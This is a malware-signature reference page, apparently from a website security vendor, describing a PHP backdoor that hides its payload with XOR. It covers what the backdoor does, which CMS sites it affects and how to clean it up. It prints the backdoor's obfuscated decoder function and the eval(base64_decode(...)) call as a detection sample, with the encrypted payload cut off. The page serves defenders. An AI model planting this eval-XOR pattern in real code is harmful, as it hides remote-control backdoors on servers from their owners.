Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.backdoor.eval_xor.001.02

php.backdoor.eval_xor.001.02

Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server. The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.
While using the eval() function for executing a block of code, such block is often encoded using other PHP functions and operators. One of such methods is using the XOR operation. While the block of code looks like standard base64 encoded code (or other types of encoding), there's in fact XOR applied on it which makes the decoding slightly more difficulty.

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.

Dump

In this example, a custom function s() with XOR implemented serves as decryption routine for the main encrypted payload block:

function s($af6135990451c92a841859e34995d90c7)
{
$a9c9d6e773c9408db1ecc63e878a6dedc = '37e5be4c4e518fea2ba99e792487041a';
$abc6a9aac4c713109223c3331e338ee36 = strlen($af6135990451c92a841859e34995d90c7);
$a512c3b10171beb3c7fcbffd8a96e64a1 = '';
$a2ef5143d1d75461edac576cd7f475562 = $abc6a9aac4c713109223c3331e338ee36>100 ? 8 : 2;
while( strlen($a512c3b10171beb3c7fcbffd8a96e64a1)<$abc6a9aac4c713109223c3331e338ee36
)
{
$a512c3b10171beb3c7fcbffd8a96e64a1 .= substr(pack('H*', sha1($a512c3b10171beb3c7fcbffd8a96e64a1.$a9c9d6e773c9408db1ecc63e878a6dedc)), 0, $a2ef5143d1d75461edac576cd7f475562);
}
return $af6135990451c92a841859e34995d90c7^$a512c3b10171beb3c7fcbffd8a96e64a1; }
eval (s(base64_decode('HyqWB2KCMATqDUGflKjGZbK7Sfy+dRvos...